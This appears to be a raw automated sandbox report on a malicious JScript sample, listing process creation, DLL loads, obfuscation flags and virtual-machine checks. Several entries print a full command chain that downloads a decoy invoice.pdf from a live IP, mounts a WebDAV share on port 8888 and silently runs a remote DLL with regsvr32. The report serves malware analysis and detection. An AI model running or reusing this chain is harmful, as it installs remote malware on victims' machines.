Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\5524.js.csv");ITextStream.WriteLine(" entry:8428 f:pvygthzh");ITextStream.WriteLine(" exec:2 f:pvygthzh");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49806

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4764			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4339			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2664	Thread sleep count: 4764 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2100	Thread sleep count: 4339 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6536	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3536	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4024	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 280	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3492	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3536	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000008.00000002.2383945491.0000029A603B8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW[
Source: net.exe, 00000008.00000002.2383945491.0000029A60358000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.3607080640.000001E9CF041000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: wscript.exe, 00000001.00000003.2313295086.000001DD92177000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: net.exe, 00000008.00000002.2383945491.0000029A603B8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000A.00000002.3607155068.000001E9CF05E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 0000000A.00000002.3605506985.000001E9C9824000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\27640288282164.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
